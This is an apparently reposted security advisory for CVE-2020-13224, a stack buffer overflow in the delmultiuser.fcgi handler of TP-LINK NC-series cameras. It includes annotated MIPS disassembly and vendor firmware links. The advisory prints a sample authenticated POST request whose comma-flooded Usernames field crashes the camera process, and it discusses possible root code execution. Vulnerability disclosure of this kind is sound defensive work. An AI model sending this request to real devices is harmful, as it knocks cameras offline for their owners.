## https://sploitus.com/exploit?id=0DAYDB:C3A9D841922DCF23B69792072496E397
Vulnerability title: TP-LINK Cloud Cameras NCXXX DelMultiUser Stack Overflow
Author: Pietro Oliva
CVE: CVE-2020-13224
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected versions: NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
NC450 <= 1.5.4 build 200401
Fixed versions: NC200 <= 2.1.11 build 200508, NC210 <= 1.0.11 build 200612,
NC220 <= 1.3.2 build 200508, NC230 <= 1.3.2 build 200508,
NC250 <= 1.3.2 build 200508, NC260 <= 1.5.4 build_200508,
NC450 <= 1.5.5 build 200508
Description:
The issue is located in the httpDelMultiUserRpm method of the ipcamera binary
(Called when deleting multiple users via /delmultiuser.fcgi), where a
comma-delimited list of usernames is passed as an input, and a list of error
codes for each user deletion attempt is returned to the user via HTTP. The list
of error codes returned to the user is temporary stored in a fixed-size stack
buffer, while there in no limit on the number of usernames that the user can
specify. Since the error codes are concatenated in a loop without any boundary
checks until a string terminator has been found in the user-supplied string, a
stack-based buffer overflow can occur if the user provided an input string
with enough commas or usernames.
Impact:
Attackers could exploit this vulnerability to remotely crash the ipcamera
process, or remotely execute arbitrary code as root.
Exploitation:
An attacker would first need to authenticate to the web interface and make a
request similar to the following to trigger a crash of the ipcamera process:
POST /delmultiuser.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=xxxxx
Content-Length: xxxx
Usernames=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&token=xxxxx"
Evidence:
The disassembly of affected code from an NC200 camera is shown below:
sym.httpDelMultiUserRpm:
; Get pointer to Usernames param from HTTP request
ββ 0x0047ee90 lw a0, (env)
ββ 0x0047ee94 lw a1, -0x7fe4(gp)
ββ 0x0047ee98 nop
ββ 0x0047ee9c addiu a1, a1, -0x73b0 ; "Usernames" string
ββ 0x0047eea0 lw t9, -sym.httpGetEnv(gp)
ββ 0x0047eea4 nop
ββ 0x0047eea8 jalr t9
ββ 0x0047eeac nop
; Save the pointer and return error if it is NULL
ββ 0x0047eeb0 lw gp, (arg_10h)
ββ 0x0047eeb4 sw v0, (arg_usernames)
ββ 0x0047eeb8 lw v0, (arg_usernames)
ββ 0x0047eebc nop
ββββ< 0x0047eec0 bnez v0, 0x47eed4
βββ 0x0047eec4 nop
βββ 0x0047eec8 addiu v0, zero, -1
βββββ< 0x0047eecc b 0x47f0bc
ββββ 0x0047eed0 sw v0, (arg_46ch)
; If the pointer is not null, initialize to 0 the error code buffer on the stack
βββββ> 0x0047eed4 addiu v0, fp, 0x40
βββ 0x0047eed8 move a0, v0
βββ 0x0047eedc move a1, zero
βββ 0x0047eee0 addiu a2, zero, 0x400
βββ 0x0047eee4 lw t9, -sym.imp.memset(gp)
βββ 0x0047eee8 nop
βββ 0x0047eeec jalr t9
βββ 0x0047eef0 nop
βββ 0x0047eef4 lw gp, (arg_10h)
; Copy the arg_usernames pointer to arg_usernames_copy
βββ 0x0047eef8 lw v0, (arg_usernames)
βββ 0x0047eefc nop
βββ 0x0047ef00 sw v0, (arg_usernames_copy)
; Get a pointer to the first occurrence of the comma character and store it
βββββ> 0x0047ef04 lw a0, (arg_usernames_copy)
ββββ 0x0047ef08 addiu a1, zero, 0x2c
ββββ 0x0047ef0c lw t9, -sym.imp.strchr(gp)
ββββ 0x0047ef10 nop
ββββ 0x0047ef14 jalr t9
ββββ 0x0047ef18 nop
ββββ 0x0047ef1c lw gp, (arg_10h)
ββββ 0x0047ef20 sw v0, (ptr_to_next_comma)
; If the pointer is NULL go and delete the last username in the list
ββββ 0x0047ef24 lw v0, (ptr_to_next_comma)
ββββ 0x0047ef28 nop
ββββββ< 0x0047ef2c beqz v0, 0x47efc0
βββββ 0x0047ef30 nop
; Replace the comma character with a string terminator and delete the user
βββββ 0x0047ef34 lw v0, (ptr_to_next_comma)
βββββ 0x0047ef38 nop
βββββ 0x0047ef3c sb zero, (v0)
βββββ 0x0047ef40 lw a0, (arg_usernames_copy)
βββββ 0x0047ef44 lw t9, -sym.swUMDelUser(gp)
βββββ 0x0047ef48 nop
βββββ 0x0047ef4c jalr t9
βββββ 0x0047ef50 nop
; Create a string with the error code from swUMDelUser
βββββ 0x0047ef54 lw gp, (arg_10h)
βββββ 0x0047ef58 sw v0, (deluser_error_code)
βββββ 0x0047ef5c addiu v0, fp, 0x448
βββββ 0x0047ef60 move a0, v0
βββββ 0x0047ef64 lw a1, -0x7fe4(gp)
βββββ 0x0047ef68 nop
βββββ 0x0047ef6c addiu a1, a1, -0x73a4 ; '{"errorCode":&d},'
βββββ 0x0047ef70 lw a2, (deluser_error_code)
βββββ 0x0047ef74 lw t9, -sym.imp.sprintf(gp)
βββββ 0x0047ef78 nop
βββββ 0x0047ef7c jalr t9
βββββ 0x0047ef80 nop
; Concatenate the error code string with other error codes on the stack
βββββ 0x0047ef84 lw gp, (arg_10h)
βββββ 0x0047ef88 addiu v0, fp, 0x40
βββββ 0x0047ef8c addiu v1, fp, 0x448
βββββ 0x0047ef90 move a0, v0
βββββ 0x0047ef94 move a1, v1
βββββ 0x0047ef98 lw t9, -sym.imp.strcat(gp) ; concatenate err code
βββββ 0x0047ef9c nop
βββββ 0x0047efa0 jalr t9
βββββ 0x0047efa4 nop
; Increase the pointer by one to the next username
βββββ 0x0047efa8 lw gp, (arg_10h)
βββββ 0x0047efac lw v0, (ptr_to_next_comma)
βββββ 0x0047efb0 nop
βββββ 0x0047efb4 addiu v0, v0, 1
; Store the updated pointer and skip the last/only username deletion code
βββββββ< 0x0047efb8 b 0x47f034
ββββββ 0x0047efbc sw v0, (arg_usernames_copy)
; Delete the last/only username in the list and concatenate error code
βββββββ> 0x0047efc0 lw a0, (arg_usernames_copy)
β ββββ 0x0047efc4 lw t9, -sym.swUMDelUser(gp)
β ββββ 0x0047efc8 nop
β ββββ 0x0047efcc jalr t9
β ββββ 0x0047efd0 nop
β ββββ 0x0047efd4 lw gp, (arg_10h)
β ββββ 0x0047efd8 sw v0, (deluser_error_code)
β ββββ 0x0047efdc addiu v0, fp, 0x448
β ββββ 0x0047efe0 move a0, v0
β ββββ 0x0047efe4 lw a1, -0x7fe4(gp)
β ββββ 0x0047efe8 nop
β ββββ 0x0047efec addiu a1, a1, -0x73a4 ; '{"errorCode":&d},'
β ββββ 0x0047eff0 lw a2, (deluser_error_code)
β ββββ 0x0047eff4 lw t9, -sym.imp.sprintf(gp)
β ββββ 0x0047eff8 nop
β ββββ 0x0047effc jalr t9
β ββββ 0x0047f000 nop
β ββββ 0x0047f004 lw gp, (arg_10h)
β ββββ 0x0047f008 addiu v0, fp, 0x40
β ββββ 0x0047f00c addiu v1, fp, 0x448
β ββββ 0x0047f010 move a0, v0
β ββββ 0x0047f014 move a1, v1
β ββββ 0x0047f018 lw t9, -sym.imp.strcat(gp) ; Concatenate err code
β ββββ 0x0047f01c nop
β ββββ 0x0047f020 jalr t9
β ββββ 0x0047f024 nop
β ββββ 0x0047f028 lw gp, (arg_10h)
βββββββ< 0x0047f02c b 0x47f04c
ββββββ 0x0047f030 nop
; Checks if the string terminator has been found.
βββββββ> 0x0047f034 lw v0, (ptr_to_next_comma)
βββββ 0x0047f038 nop
; If yes, return the error codes to the user via HTTP
βββββββ< 0x0047f03c beqz v0, 0x47f04c
; Otherwise, continue deleting users until the NULL terminator is found.
ββββββ 0x0047f040 nop
βββββββ< 0x0047f044 b 0x47ef04
Mitigating factors:
There is very limited control over the buffer that will eventually overwrite
the saved return address. The only part of the buffer that can be slightly
controlled is the error code by using existing, non-existing, or invalid
usernames, since error codes can change in content and length. If an attacker
managed to find a way to carefully combine error codes and obtain a valid
address after return address overwrite, arbitrary code execution as root
could be achieved.
Remediation:
Install firmware updates provided by the vendor to fix the vulnerability.
The latest updates can be found at the following URLs:
https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220/#Firmware
https://www.tp-link.com/en/support/download/nc230/#Firmware
https://www.tp-link.com/en/support/download/nc250/#Firmware
https://www.tp-link.com/en/support/download/nc260/#Firmware
https://www.tp-link.com/en/support/download/nc450/#Firmware